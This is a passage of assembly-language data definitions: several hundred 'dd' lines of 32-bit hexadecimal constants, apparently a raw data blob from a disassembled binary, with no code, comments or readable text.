dd 61D32C11h, 9902FAF8h, 25C0D017h, 0F0606587h, 0F8FA2E66h
dd 0CAAF625h, 0B9D19238h, 0EB0C8090h, 0BE8F3BE5h, 7898A14Bh
dd 3A722587h, 208BCC80h, 0D93B16E1h, 58FE00B1h, 903F7ABDh
dd 50C1301Ah, 0F275F530h, 590A7E12h, 0E2958400h, 1E793B5h
dd 1F90A396h, 0F43286FBh, 0FE06274Ah, 5D7C2C9Bh, 2E6F0318h
dd 1AA7F219h, 0D0980EB9h, 89C58EEBh, 0E8009A4Bh, 6C37905h
dd 0E8D84948h, 0E470E10h, 0F7B6D3h, 136659FDh, 918A012Ch
dd 6E19FF65h, 274991AFh, 909F0F07h, 7402EBD1h, 400F56A7h
dd 5C1A03FBh, 0FAB0A8C1h, 0FD94A8AAh, 3AFF3019h, 7E3E4A18h
dd 1454830Fh, 0DE706526h, 10273B87h, 0F79D1F80h, 40A15ECCh
dd 0E96CC3E4h, 0C500EE36h, 72663DE4h, 0E68294D3h, 291A1608h
dd 8400CD4Bh, 9B381979h, 0C8C2E0D4h, 3028528Ch, 0F7B1B0C7h
dd 0A0CFB803h, 0B8801602h, 80956519h, 30C4429Dh, 0F50099C6h
dd 3C8D77CCh, 18ED203Eh, 0F0188875h, 669900C7h, 5A7F780h
dd 940C0EF8h, 201E2D1Ah, 0AAF9005Fh, 44D11F73h, 3658635Ch
dd 1DDE1904h, 53C9871Eh, 14681421h, 833E5C59h, 0DC821B2Dh
dd 3C64678Eh, 93568025h, 9089E240h, 8055C9C4h, 0AF74FC1Eh
dd 8F689316h, 0F5B3B14h, 8311D234h, 0A03A6E58h, 0CF895619h
dd 0A9C0A330h, 8F64C57Fh, 30C51D90h, 68C9D263h, 0F2869C00h
dd 0EDFB2C6Bh, 1EF868ACh, 30211699h, 8D4D194Ch, 0D500F092h
dd 573F462Fh, 997BA01h, 0F7FBA76Dh, 832D5C46h, 0F938619Dh
dd 0FA28806Ch, 0CBF4BC84h, 30FA380Fh, 0EA08C0C0h, 0F6EB5205h
dd 54D0B863h, 59F8871Eh, 882D84FCh, 8C8F5C02h, 0B001847Eh
dd 29D0D5Fh, 7608447Ch, 0D180EECEh, 8E695982h, 0F70D0591h
dd 0A4614BF6h, 646F2B18h, 0A1B8A0D1h, 98EF71FBh, 65513CB8h
dd 253B4880h, 0A7763E8Ah, 0CAF3F815h, 0FB180308h, 2868A9F6h
dd 907C5E50h, 32F71791h, 81AC5686h, 7942728h, 0F7589009h
dd 707A8AA0h, 0A8960201h, 0A5FFF019h, 0BA092F2h, 0B6406CD4h
dd 10585228h, 688F660Ah, 0DC3A8C18h, 309F01FCh, 8E72F6CFh
dd 0FBC54838h, 876CE284h, 0AFF0605Fh, 0B3DC6Ah, 0FB270F88h
dd 818312ABh, 36D01F00h, 9D3A8A3Dh, 0F6F1130Bh, 0E80C0ACh
dd 1980BA2Ah, 503B6044h, 0F78FFEC6h, 841C125Dh, 413F585h
dd 80C05500h, 9F7CF792h, 4940A1C6h, 2020B0F0h, 42C97DBh
dd 0C908C47Eh, 0D26907F2h, 0B03D8594h, 0A1347568h, 1EE407Dh
dd 0B145BEDCh, 0A2C7087h, 795F043Ah, 0FF4873F8h, 8FF70518h
dd 0ECA2A2AFh, 0AE2B6512h, 0BC1A5903h, 5DC00F3Fh, 0AAA0EB78h
dd 0E9BB6D8Eh, 0F1C23800h, 0F8271685h, 570C009Eh, 6079F76h
dd 7A4D7F99h, 5F22A8h, 1259EE3Bh, 0A5116766h, 69AA4207h
dd 802B3AA7h, 356B90EEh, 8CC4A025h, 0CFDC2087h, 8D01F498h
dd 1A1569C2h, 5C6D7DF3h, 4CE66784h, 4A4910E2h, 0A4F88419h
dd 5FB25FCh, 63BB8A3h, 964401CEh, 385C54DAh, 618F802Ch
dd 0A0C287AAh, 2D1A99Ch, 970EAE4Bh, 8895FB2h, 6145808h
dd 997EA619h, 70703090h, 0E58268CFh, 0D455C690h, 56F60C4Ch
dd 0BAF90CDh, 26CF87FDh, 619E8C4h, 0C2D1B701h, 1C159E0h
dd 0C717BEC5h, 853189A0h, 2A290932h, 2E0EF888h, 655CCC30h
dd 4D84C12Fh, 4588214h
dd 5CD31A7Fh, 4210265Ch, 0F3009BAFh, 2CEE0E5Dh, 860E501h
dd 0EF00B4D1h, 3F1A04BEh, 0F010D46Dh, 4C937210h, 0C0B91098h
dd 0FD32716h, 0A301A28h, 8867E695h, 18085517h, 3E7028E0h
dd 480A4ABAh, 8F07F0Fh, 0F602B658h, 609D2106h, 0BCA0870h
dd 8119F9DAh, 54406CC2h, 0A7804617h, 4FBCB88Ch, 5764F001h
dd 5CC9A516h, 1D01FCFCh, 0F6A4B0C3h, 3013F3EDh, 1C2287FEh
dd 94BC64FDh, 0B6AB44A8h, 0B2020E08h, 154E8Dh, 878F5EF1h
dd 9820C2C4h, 805649A4h, 29444C62h, 40B33C06h, 0BABBAA1Dh
dd 7A98F602h, 0B110A47Bh, 35FE7958h, 7E501097h, 0CE18C3DFh
dd 0C1C1368Eh, 981092E0h, 0BD5D0844h, 9F2708Ch, 5983FB6Ch
dd 1AEEC4E4h, 8C52062Ch, 8EF42947h, 134BD704h, 4287B49Ch
dd 0BC0E2E5Dh, 0F426BC29h, 36A56C04h, 6F036CC1h, 957060E6h
dd 1F10C0E0h, 0F9E7DAF8h, 77D74338h, 546C7516h, 0B45D6045h
dd 599CA4h, 9723A435h, 7B8790A0h, 8D70CA61h, 2E9D91h, 7A4F8290h
dd 95581C26h, 3924484Ch, 0F9198DD8h, 0D3D2A085h, 0C3129000h
dd 8202DB65h, 9082859h, 64F8FA19h, 0CA21D112h, 0F38FCCC0h
dd 3830BAC1h, 0C840BE87h, 8A0051D3h, 473A20E9h, 988C986Dh
dd 4FBE2C40h, 2FE048F4h, 0E440B494h, 308481DAh, 28C1E7C4h
dd 58833C55h, 2C27A9F8h, 12057F6h, 0A8AE3AA3h, 9340C01Fh
dd 0CF841A00h, 9996F806h, 58D25EBCh, 0E9CCE0F4h, 7EA9213Dh
dd 0E6080982h, 61F676C4h, 9C79841h, 5BB060F9h, 794994B6h
dd 84FC4328h, 0F2708495h, 0FE8C00BCh, 0EE8AB1Dh, 64B2287Ch
dd 8F670B08h, 34C8B788h, 14009D8Eh, 0A8586004h, 248FE4C6h
dd 20341333h, 0EEF82080h, 514C3A01h, 0F6D74229h, 0BE2CFDF0h
dd 1A6C0368h, 0C03F7393h, 6B407FEEh, 809053h, 0A3377D23h
dd 9F5DB674h, 49611201h, 8CF14F8h, 8035021h, 8FD4FBD3h
dd 136E5940h, 65671215h, 7CC8D13Bh, 90242F5Fh, 202EC8B1h
dd 368696C0h, 678CC491h, 0BE68A04Ah, 60896F60h, 0D70BA4A7h
dd 261380F1h, 36009A1Ah, 0D21E8A72h, 0B883593Ah, 0E4083238h
dd 5C568C38h, 49C6EA0Dh, 97CD9C40h, 5677EBFh, 0A768CF1Bh
dd 28988146h, 840845F3h, 0F914022Ch, 20809EEBh, 0E48E3FD1h
dd 0C4A72924h, 0A508D03Fh, 0E0906478h, 4E64A00h, 0CE8788E9h
dd 3DC4A0FBh, 771A1269h, 8F08D128h, 96A9919Ch, 0ADA91908h
dd 0AC14DE3Fh, 246A21BCh, 80256558h, 0D5AD8C20h, 7FB9F702h
dd 5C467B76h, 6CB40A0h, 6F13EB40h, 9CC1D48Fh, 7AD0F9E4h
dd 582CB08Bh, 0C20E459h, 0FA301FECh, 2F7170AFh, 0BF1100A9h
dd 21245C86h, 2E04C535h, 322C1A99h, 190CECF2h, 0F81015B6h
dd 58740E24h, 0D1BED701h, 5ADE98E4h, 2FB37C30h, 0B824FC12h
dd 2D70E8BBh, 5844D013h, 0C1204487h, 18008D7Ch, 34FFDBC6h
dd 4D69F78Ch, 1908D896h, 1F077BC7h, 2110ACF4h, 73CC0E11h
dd 8F0CB413h, 0EC432263h, 7EB0B1C0h, 0D80CB00Dh, 48DA8EF6h
dd 940295D7h, 9D00722Ah, 15FD2506h, 0C8A78E8Fh, 243E487Ah
dd 0BA008A20h, 0B1E7665Fh, 1FBB1B7Fh, 14F6FA7Dh, 64104C88h
dd 0FF9F03BAh, 40ADBF8Fh, 27197838h, 1C186AABh, 0C02675EFh
dd 0CD88D87Ah, 83BC1294h, 7909CC48h, 582E878Bh, 77353CB8h
dd 0E18CA2Eh, 0FF80A2F8h, 92917658h, 0E78864FDh, 0CDF70F0Ch
dd 0B0FA583Ch, 0ACE6549Dh, 0B756EE60h, 6661DC00h, 2058B2F7h
dd 2BD012F8h, 84E36C00h, 0F68657h, 335231E8h, 0E2DE8775h
dd 0D280C494h, 19AB3F10h, 9D64BAFCh, 0B587B021h, 95A88248h
dd 0E8651AA0h, 39F72144h, 1A5FB7AAh, 14CAE074h, 68D82655h
dd 94E49170h, 3510A8D0h, 0DC0B4FB7h, 0CE463h, 2680F760h
dd 3DA38FE2h, 0D072FCA2h, 809020C9h, 0FB67A22Ch, 0CEB5E619h
dd 630FDE59h, 945900F3h, 0ABF007A8h, 0D3CE013h, 0CCE803FBh
dd 0E3A09565h, 197A6DDFh, 5D06887Ch, 5FD8ABE8h, 0BDDB0C08h
dd 64302E58h, 39C97500h, 0D5DFA3E2h, 0A77107B0h, 6087E45Ah
dd 2D12CCE8h, 0E00E3F8h, 0EE3FF8A0h, 607E90Dh, 0EABE1C3Ah
dd 6C0348F4h, 0E03CA89Ch, 0AC113C8Fh, 8CD05700h, 4508010Dh
dd 87988861h, 0E0E34105h, 1BF4198Fh, 104085B4h, 400C8AE7h
dd 0AC18D3E1h, 0A857DE1Fh, 50F6D06h, 4218CFD1h, 0A57D5280h
dd 0E63DDAFDh, 92B0C7Bh, 836973h, 104F6524h, 6DCB8AD2h
dd 40915933h, 0A8986755h, 0F821FFE3h, 872E70CCh, 0AE4608E8h
dd 5D1CF83Ah, 0B4F271CFh, 0BCAD0688h, 2031BB41h, 0ED140DE6h
dd 1BC5D90Fh, 62821C6h, 3C6DDCF1h, 8E007025h, 0DB57FCACh
dd 0C4FFA5CCh, 6B88678h, 510D9D1h, 65B60DD8h, 96943149h
dd 0A828D3E8h, 0BD0FF86Ah, 383810Fh, 1098134Ah, 0CA2C340h
dd 38D94808h, 0F4635084h, 0FA0A9E0h, 0A009D842h, 0DC362710h
dd 0A65529DEh, 6E0A0284h, 0E4826AD9h, 0E0AC6D30h, 0C7988848h
dd 0D54C4B50h, 51FD8D24h, 5100481Fh, 0E0324224h, 0CFFF286Dh
dd 6CD34CBCh, 1501047Dh, 88604A10h, 0F5401D3Ch, 33F0143Dh
dd 6D1E981Eh, 3A98F3CAh, 0F3E8E8B6h, 0BE4C3D06h, 3E30EBD9h
dd 2D05BCE2h, 115B3CDh, 0F8E088BCh, 94E461E7h, 3E9F4308h
dd 0C56D8C4Eh, 303B88DAh, 6406DB34h, 0CB0C5B57h, 8637EC3h
dd 0C7730008h, 0D0842D98h, 0B0A0A46Fh, 70C6A105h, 2010B46Eh
dd 3401BE50h, 0CD94AF39h, 0E3C8D78Bh, 307D3CB0h, 24268D12h
dd 57B0221Ch, 0E8B7AC80h, 0D4A1B907h, 0BDAC4116h, 64618029h
dd 0D8D7A96Dh, 8ED638E5h, 0E77BA080h, 0BD8C6AA4h, 0F993C733h
dd 4A71E8FFh, 0A7EA01E1h, 0BE20ABF8h, 441EAD0h, 0CCDF82Eh
dd 0D9DFA4A0h, 0E28F3512h, 6C113416h, 64FC40ECh, 0E04F52h
dd 0EE6C407h, 0A26EF8C0h, 9CBC04F4h, 62243407h, 0A084CD92h
dd 7208060h, 87CE899h, 3F3C9284h, 0BB14E0B5h, 5D312490h
dd 0C9BDD418h, 0E4C0802Bh, 943CDD52h, 800C9ACBh, 1C58D3B4h
dd 25F88ACh, 3D25ECABh, 0F010EC49h, 0EB61EA6Dh, 95CD2468h
dd 40B828D7h, 606D7A60h, 0CD25303Ch, 18CFA69Fh, 49A08CCFh
dd 540AF827h, 907280C6h, 0BC456Ch, 9C95DECh, 49D84953h
dd 7E10054h, 467A41DDh, 55BB0029h, 0AB8A69A9h, 7B39CD1Ch
dd 94CB99AAh, 0AEE0ED58h, 65491C4Ah, 0EAC9C7D9h, 43DE8715h
dd 802CC92h, 0E2EED505h, 0FBEC403Ah, 0FDCD1221h, 0DF180F27h
dd 0DE9CC0E0h, 3514509Eh, 72708441h, 22F5240h, 0FC8B7D64h
dd 0AA40E1CBh, 12773B37h, 6748BF00h, 354B63DAh, 0E4AF0055h
dd 8829C804h, 3DF4305Ch, 4C143AE0h, 83F0FE84h, 5C76FBDh
dd 88746668h, 0EAC01D5Dh, 5C6D1B80h, 44B07861h, 0FD090E9Eh
dd 0A0A318CCh, 0D2E4F94h, 436D1962h, 42052886h, 441B7F8h
dd 9CCC00B9h, 0E230C19Fh, 340FDE6Dh, 0F484A9B8h, 0BCD75443h
dd 0E7E01CD5h, 0B04032B7h, 4809A502h, 2186FA8h, 0BDE14DEAh
dd 20480451h, 1B246D6Bh, 950650DFh, 9F88CC7h, 305DB802h
dd 55BD3821h, 6D902073h, 70DE5E28h, 0A874D920h, 32BDDA3Ch
dd 3C58EC7Bh, 0E9B5C060h, 70A98B61h, 501BFFEh, 0C432C1h
dd 93A8C46Ch, 0DCC3A3h, 55FDB0Ch, 54FFBC9Ch, 800D1E00h
dd 463A26E3h, 5027004Ch, 0AA55D2E4h, 0C2019002h, 0BE7611A5h
dd 5085F754h, 9DDE5F14h, 0A0840048h, 0D900ED15h, 8B690948h
dd 4028717h, 0FAD8CD22h, 5B38DCD4h, 0E0140C98h, 18906D27h
dd 0CBE8472Ah, 3FDB02B6h, 0EFDD3515h, 0D1711C41h, 0D7183028h
dd 9E962600h
dd 863EAC0Ch, 0FCBE2E4Bh, 0E6E9224h, 4C545598h, 0F4ABEF0Dh
dd 71006470h, 11D6F630h, 4DB941C3h, 5201879h, 71E49888h
dd 0B405E179h, 2B1DECE2h, 1DBE08Ch, 34B6933Ch, 4CC46F2Eh
dd 5B007E38h, 0D687D358h, 0C2B382BDh, 0C7D74B18h, 983894AAh
dd 6E081196h, 75EFAF01h, 2756BE02h, 0BD0D3833h, 0DC109F5Fh
dd 29178768h, 944ABECDh, 3F06B80Eh, 2050A85Bh, 0E0176BC7h
dd 480228B5h, 0C9F4D16Dh, 3C016F50h, 0CCE434CDh, 81C08EF8h
dd 0C8248A47h, 0BE062C14h, 708D0D44h, 0B59CECF0h, 0F0E4401Eh
dd 0AAF57E49h, 10172CC4h, 93C8AC14h, 0DF3C9407h, 9F0F2Eh
dd 0B805E0A7h, 46F513A8h, 0CC780814h, 0E7B44203h, 0AA6DE071h
dd 0DCC8925Eh, 6097C078h, 0E5C314C5h, 24DE5C05h, 0AC408A4Ch
dd 0A58FD7DFh, 48550B9Bh, 0FC8064E5h, 967109A8h, 1358F739h
dd 9409172Ch, 0D0C88A05h, 0DA6B98BFh, 75FCDCB8h, 5CEC14DBh
dd 24498CEDh, 63E13702h, 48601F53h, 980982BCh, 70F12CDh
dd 893033E8h, 597E16h, 0D6919728h, 6A483B8Ah, 4EE1DC01h
dd 8CC9B04h, 56496E0h, 67BE3E7Eh, 8C9891A7h, 54F46AA8h
dd 71390932h, 64022DA4h, 0D4804983h, 7D96BDDCh, 4316FC90h
dd 4C208817h, 1DEECDCAh, 0B08A93h, 70FA56ECh, 50C0D049h
dd 0F32A593Fh, 608E00FDh, 0E55B1841h, 5500DF61h, 0CD977ECEh
dd 285E8913h, 8A656h, 0B3CB609h, 3F2E9E85h, 70B88736h
dd 28A298A8h, 2E588968h, 4CE4E7D9h, 67553020h, 0D8440F8h
dd 711835BBh, 0FD01A76h, 83D8BBE1h, 0DCE2D55Ch, 348AAFA2h
dd 2B8C2E44h, 0E46B00B8h, 713ED60Bh, 40FD1432h, 12FC50EAh
dd 377BA6Dh, 7FBE5B14h, 0A62F33DFh, 0CB49922h, 86E3884Ch
dd 0CD1270A8h, 1C0B693Fh, 0CC1881BBh, 9025DAB6h, 9C318C27h
dd 627465F8h, 0F90D16D4h, 1664A850h, 0FC004FD5h, 0D6713C31h
dd 0EC18C3E0h, 98095F2Ah, 0A5170EBDh, 7000C440h, 19B4CC15h
dd 942950CDh, 734111h, 0C65DD66Ch, 0C388094Ch, 9CA5CD2Ah
dd 18103C83h, 1029A0B9h, 0EBF0D8B0h, 476DE10Bh, 23082B48h
dd 0C439DF3Ch, 62BDF48Ch, 0FCE291BEh, 713D4040h, 0E1EADA32h
dd 0DCC2B5h, 9448978h, 0D58E2E96h, 0F9F4008Fh, 25DD91F1h
dd 806C9D4Ch, 342E4C88h, 0C73C3071h, 8098338h, 8F6DE51Ch
dd 0C0F580B1h, 5C40E421h, 3E7EFB8h, 0BE834D66h, 482AD396h
dd 0FA903C34h, 2B385161h, 8CFDE738h, 77FAF0h, 8770A553h
dd 3B9ABC09h, 41190D00h, 0B5577FACh, 0A62800BEh, 248DD5CCh
dd 163E74CBh, 1D6D8D0Dh, 10285083h, 0D14770C3h, 0DA317000h
dd 193BFA54h, 460490Dh, 261C01D3h, 0AB6F5ACDh, 502658A0h
dd 0BB08BCA6h, 0A64B0514h, 337C8C95h, 5843DF00h, 5D94DA20h
dd 6DE709DCh, 70A06445h, 0AD7BE5CCh, 84D2CD25h, 0DCC112C0h
dd 8605B49h, 0E271197Fh, 0EBDE78B8h, 0BE639097h, 0C987B41h
dd 0BDA06B61h, 808094F6h, 663DD990h, 0B47C814Bh, 18063C31h
dd 8641349h, 0B96840BFh, 4016C8CCh, 71DB0530h, 9457D1ECh
dd 0D4C0C268h, 81A79841h, 0BDDFE531h, 8464C540h, 0A8DD5651h
dd 0E0820E25h, 3400AD60h, 26045407h, 18C29388h, 713BB07Fh
dd 7818C324h, 20783F07h, 7CD192A5h, 58F6BDCFh, 98E36904h
dd 28A4F842h, 6480C113h, 8828384Ch, 38924999h, 0BA0D7C80h
dd 0A84E954Ch, 15858831h, 0BE61B000h, 149AD27Eh, 85FCCA0h
dd 0D913AC00h, 275A0F07h, 10098DBh, 0E2DA3A2Eh, 74922BBDh
dd 463471ACh, 4CC4C039h, 72644005h, 0A20B4C0Bh, 0C56228h
dd 7F651BCBh, 552EF67Ch, 2401B0FDh, 0E54D1DC4h, 26110FF0h
dd 1D900B08h, 56698938h, 70133044h, 0A452012Fh, 0A211400Bh
dd 8D7114h, 65B70DD9h, 218C4A53h, 1C351EBFh, 70E743F8h
dd 48092BA2h, 21CBF5E2h, 0D3C5CC64h, 0D090E038h, 0F5F9110h
dd 166BAA7Bh, 0E6A2C300h, 54155C3Fh, 13E1C850h, 1CB5DDBh
dd 0B6498588h, 0FF0C30FBh, 1B9AD100h, 652E51A9h, 0D5B8077Dh
dd 0C005AFBFh, 0ED6AC34Eh, 1680CC14h, 3E439C8h, 0B78CAA57h
dd 4C9C8C08h, 13E49865h, 9720BA6h, 7440E7B8h, 9C80042Ch
dd 0BFED0061h, 3E5F420Eh, 0B50FB2CFh, 27DE3D9Eh, 0E3A02405h
dd 0A0E6DAD5h, 1A150BCh, 5EE535F8h, 36FAF06Dh, 24CC58E4h
dd 64004085h, 0C5551969h, 4D6D78AEh, 4850AC50h, 0E18A0351h
dd 105BE56h, 0E902020Fh, 0E930CEAh, 4DC60F8h, 0F482ECD2h
dd 0CB3BE6F0h, 3DF0036Dh, 0E1489322h, 0EAD8A1C8h, 6178E419h
dd 6693A76h, 0E10B886Ah, 258A0E1Ch, 4A058227h, 0E901838h
dd 8F60FBEAh, 82D42A10h, 1F46F8ECh, 8E5B43CDh, 0C1CEB18h
dd 0F82E8858h, 0C60BD16Fh, 391D37h, 55EF82DFh, 8C614C10h
dd 571F25F8h, 0C714E78Ah, 0C843138h, 5DFC3588h, 3208CD34h
dd 0EA0D8606h, 302A8ECBh, 54242D88h, 5A199BBCh, 979A71A6h
dd 17EA0D8Eh, 3C45538h, 75665470h, 63D75CDAh, 2267F08Ch
dd 0EA9D0E06h, 98CAE2DFh, 0B06EFD9Dh, 0FC7002D7h, 82607CC7h
dd 2A00559Ah, 16EA52C4h, 2510D94Ch, 7B37BE5Eh, 0B94CE560h
dd 0FF93DE8h, 59C72A5Dh, 320AA9A6h, 0EF637E8Eh, 7E0D503Ah
dd 0EC35510h, 98880C99h, 9E56FDEAh, 8AD0ED17h, 449C6900h
dd 3BEA4796h, 6202B60h, 14FDFEADh, 988251F6h, 0DF0B8800h
dd 5A34EA63h, 9D230092h, 0D2EA4143h, 0BC0A8003h, 15245476h
dd 5CDB002Ah, 8510CA0Ch, 49C43455h, 56005EC0h, 0C682E68Ah
dd 4EE5FA9h, 5669D959h, 3444DD44h, 5E006831h, 6DE2F782h
dd 5712D014h, 38981099h, 0DCFFF17h, 9EB16F5Eh, 434C55F8h
dd 0E3458552h, 62975188h, 46CC8C14h, 0E2423BDDh, 80914920h
dd 6A5EE2EAh, 182F6367h, 3DFB6EE1h, 0B46B9E00h, 0DA32D27Dh
dd 0CB021F5Ch, 0F2968A5Ah, 0F75D07EDh, 4D8283FAh, 0A13D6B23h
dd 0D9020F06h, 1208EDCAh, 0BC81008Ah, 1B386B0Bh, 33C30601h
dd 0D92A2E90h, 95078ACEh, 6802B21h, 31FA6892h, 3AB4A3EAh
dd 0C4A9E44Fh, 16B0BEA8h, 1C2CF385h, 286B700h, 69535BD4h
dd 391560FFh, 0FBB2250Dh, 0CF3120C4h, 70076496h, 281B6AEAh
dd 3ADE0875h, 58C6709h, 68215812h, 45EE9055h, 9F6D8820h
dd 0DBF85B07h, 9FF52A8Fh, 67F9220Ch, 39A9260h, 0EA0CE9C2h
dd 323B1A13h, 244D1254h, 0B0FCB74Ah, 94407EBDh, 0EE820346h
dd 1EB11768h, 809ADCE1h, 485FC018h, 7C022596h, 2B6F20FBh
dd 52DDF707h, 0D6506CB6h, 408EEC1h, 0F681CEFFh, 2056C20Bh
dd 8FB95100h, 23494C0Dh, 0B0E16C1Ah, 3C61582h, 58A06C82h
dd 5B2B1109h, 0BAF15D13h, 0B61C8098h, 31D7B883h, 371D90F0h
dd 3A182D79h, 5F90ECEh, 0B75C6787h, 2990D07Eh, 34F7EAD9h
dd 0F3770243h, 0EE49931h, 0B2FBE88Ah, 142D454Ah, 91454258h
dd 4C8FA716h, 40632BEAh, 2EB9D20Ah, 7E900451h, 0F6C9B710h
dd 0AA434DADh, 0BDFF8A8Ah, 585AF9D4h, 0E61E435Ch, 385A437h
dd 5E09256Dh, 7A3745ABh, 114A1282h, 3837DB28h, 0CCE07AE0h
dd 4CBA07C6h, 7102D10Ch, 8AC496FFh, 991A0840h, 0AFA09092h
dd 0B90AC058h, 0DFFFE869h, 0D113601Fh, 0C282C815h, 8958C432h
dd 0B70888Ah, 0B2EA5706h, 0BFC5C0CDh, 1A2472A5h, 45BC03Ch
dd 0F8321EE2h, 48640BCBh, 0EA484102h, 580006C7h, 51011B69h
dd 0F8602F6Ch, 0B5CC82E0h, 1EB30205h, 67EAFF8Ah, 0CDC1F8AAh
dd 880601EAh, 0AAC541Dh, 8012B9CAh, 0C52FD0C4h, 28B00207h
dd 0FE2BA01h, 0EA423925h
dd 0EFB376E9h, 6633440h, 12D4F80Dh, 490CEA57h, 0BABB5EA9h
dd 4E3135B4h, 2E80ED95h, 0B963C7BCh, 0EC30C23Fh, 0EA080604h
dd 71794915h, 5ADF5812h, 42CE443Dh, 35918C7Ah, 6AC1B439h
dd 24EAAACCh, 5A549730h, 0F0D3D814h, 5AD0A830h, 59F29288h
dd 82019F46h, 0D617F7EBh, 9BE3D86Ah, 66816716h, 0F388E1Fh
dd 0F7320C54h, 840F4406h, 0E2D048A1h, 632A5C00h, 140C2E1Fh
dd 8CB5FE2Eh, 6A481E3Eh, 8CC8343Fh, 1590809h, 3355EA3Fh
dd 0BB342F63h, 2888059Fh, 0F2C74E30h, 62FDD1E5h, 2225028Fh
dd 2672D1C1h, 80BF8004h, 3617424h, 0B138D8B4h, 619A2C30h
dd 0F0C1227Dh, 31ECE007h, 3EBA10C0h, 310064Ch, 2766BB53h
dd 3C0B0E2Dh, 808B1531h, 0A7AEB73h, 34E9B80Fh, 0D589FF11h
dd 665E9987h, 0C5C55A21h, 0A8EA8D30h, 0C3A5C227h, 0F0622393h
dd 9C853A48h, 28C21BC1h, 8AF1D341h, 9B57F578h, 3BFA4D7Ch
dd 3222348Ch, 92EA06C2h, 0F219CC8Ah, 3A1F50D9h, 475D12EEh
dd 30C62D12h, 5A81371Bh, 900C84A0h, 7D5F0742h, 0C04E5C4Ah
dd 0CE8209EEh, 0FD060DE8h, 55BF695Eh, 2B5A9E5h, 0EAC62A10h
dd 4B2DBB24h, 56B91653h, 9E380451h, 32AE042Ah, 6C9BC6C1h
dd 255F1092h, 0D2CAC7E2h, 760E5EA2h, 2B338E09h, 9B9F969Bh
dd 0A4EA0593h, 0C36D7760h, 0A05752Dh, 7B15695Dh, 1B386356h
dd 0FE280469h, 0A45D321Bh, 413E486Ah, 2DDEF354h, 3B00A7A6h
dd 2707D31h, 0D2D5ACFCh, 10521010h, 3CDDEA0Bh, 8A05D52Bh
dd 1A4BC143h, 9C4961C2h, 262CF3ACh, 0B9079620h, 67C38073h
dd 29D063F4h, 0FF5B5553h, 43DBAFE5h, 0CC695D4Ah, 0ABEA5590h
dd 550C0E54h, 595606BAh, 37690BCEh, 0BA549808h, 0F60B1290h
dd 888E0360h, 8794D252h, 3B7E10B2h, 5BF22276h, 8E2C21Fh
dd 6539F20Fh, 0EDC32D62h, 5DE6B8B5h, 1BF71206h, 0C95F05B4h
dd 5A07092Eh, 34036582h, 0ED063206h, 0D3306B33h, 75EA9D06h
dd 396C7A49h, 81690F5Bh, 34C9645Ch, 3B61D7CAh, 60BF1067h
dd 6F62F8B5h, 9B70B8DBh, 75C2E9E9h, 3C045C66h, 8245956Ah
dd 9E8DA4Bh, 8C09C782h, 80557158h, 831BCB03h, 20DB9276h
dd 34504D0Bh, 6D832F3h, 0A8675D0Dh, 61EEEAB4h, 0EF814CE3h
dd 0ECA7E030h, 0D88910C6h, 0B92240A0h, 6902DB05h, 0F1812A67h
dd 712D5909h, 4CEBEA0Ah, 434B69DEh, 8092EA76h, 66B4EA12h
dd 10E9B04Ch, 317C412Ch, 0AABC82EBh, 4237A631h, 98B24426h
dd 6C8961F6h, 321B64EAh, 1D69481Eh, 0D535552h, 6421B8Bh
dd 531E494Bh, 32E57F00h, 5BEC28ACh, 0F84B600Ah, 0AA3458DBh
dd 0A1EA3E42h, 20765250h, 0BA0F98DDh, 0B2070EA0h, 0F0E62100h
dd 58324648h, 0FC0C56CCh, 4408D8F8h, 60E4821Fh, 0EA79D087h
dd 35CA4954h, 80538240h, 83EEFC8Ah, 0D1B3F6Ah, 4B33DC1Ah
dd 14EDF987h, 8A28D573h, 0DEC003E4h, 48580618h, 0D0967A60h
dd 58AA400Dh, 0D9046717h, 84420501h, 8248A2F7h, 1003BF57h
dd 8B9C5FF4h, 42B636D2h, 9A691EFh, 6606F369h, 4897F206h
dd 0F6D0E060h, 9B331A00h, 0CEEC060Bh, 17F6663Fh, 43AB59C2h
dd 0A23C396Ah, 294D0299h, 424032Dh, 99A13B38h, 0C8DF8B59h
dd 0E1470CE9h, 0DA02A8C3h, 0D889E2FFh, 64A2661Ah, 124E053Fh
dd 78561C88h, 800A731Ah, 0BF243C76h, 19150EDDh, 82ACE960h
dd 0C300091Ah, 8CCB8158h, 0FC14EC41h, 5EF860D1h, 9C241CF7h
dd 0D967CAF2h, 999F1471h, 61F05A06h, 1046D393h, 307B3654h
dd 660A6964h, 24530C8Bh, 61546E45h, 3479E9E3h, 3DFF149Dh
dd 81590761h, 462651C4h, 0C15B0075h, 60560E3h, 0EB814B07h
dd 0C82FFF09h, 8BE50606h, 0F61E8458h, 0E955C3C3h, 140013F3h
dd 33546BB9h, 0FE2EBA3Dh, 311C0EEDh, 0D06C59CAh, 8341DDD2h
dd 5E770C8Ah, 0DFC66F9Fh, 0C8891166h, 0E58717C0h, 3E4F95F3h
dd 0B998550Eh, 4C010C62h, 8408E6A2h, 5B9B6C4Fh, 9C16E919h
dd 7B510512h, 0B840FCD8h, 14E78147h, 0EE11037Bh, 337FE11h
dd 0A33C7DEFh, 790C096Ch, 0A8877A76h, 18C7E5F7h, 172F8C08h
dd 0DBE535C0h, 48623643h, 570E1A45h, 0E9450602h, 5DD94A0Ah
dd 22183BACh, 0B7C30C3Ch, 6DBC5F26h, 6734603Bh, 0E7B6D33h
dd 8105E1C1h, 15F2D780h, 5560E9F9h, 7A902D9Fh, 40722452h
dd 81601807h, 0F47DA2EEh, 3B34BA7Bh, 0AAC31648h, 0AE3E8768h
dd 0F110B8EBh, 67E91551h, 9E40AF70h, 0A57451FFh, 0C73085F0h
dd 73C32818h, 0E2832ADh, 587B1150h, 162D9B33h, 41FBB159h
dd 0DB8F0C94h, 0DE518B39h, 0B1078D31h, 6FD85C53h, 338EE0Ah
dd 85A1E3D1h, 6EAFD0CEh, 282CE919h, 0F1F04946h, 0F4131F73h
dd 65030C05h, 0D340EBC9h, 11142468h, 50516014h, 0B50057B4h
dd 58E5307Bh, 240EF580h, 447AEC88h, 5FE90283h, 0C396A745h
dd 0A8097561h, 0E65B6F20h, 80499C5h, 0EA31083Fh, 0C10166F1h
dd 0C831ECE8h, 55B78348h, 56E2CCD5h, 64008398h, 0BE694D7Ch
dd 0EA779078h, 5FFE0429h, 8D19A8E9h, 0AC5EE149h, 0D814F753h
dd 46C9140Bh, 79A3103Ah, 0E8ED5224h, 0ED6806D4h, 3AC0110Fh
dd 0CA1265BEh, 0E6813814h, 638C163Bh, 0DE05D6F7h, 1C01C6F8h
dd 8910031Eh, 0E1E45EF1h, 0F75776EDh, 5F73421h, 0E67AB412h
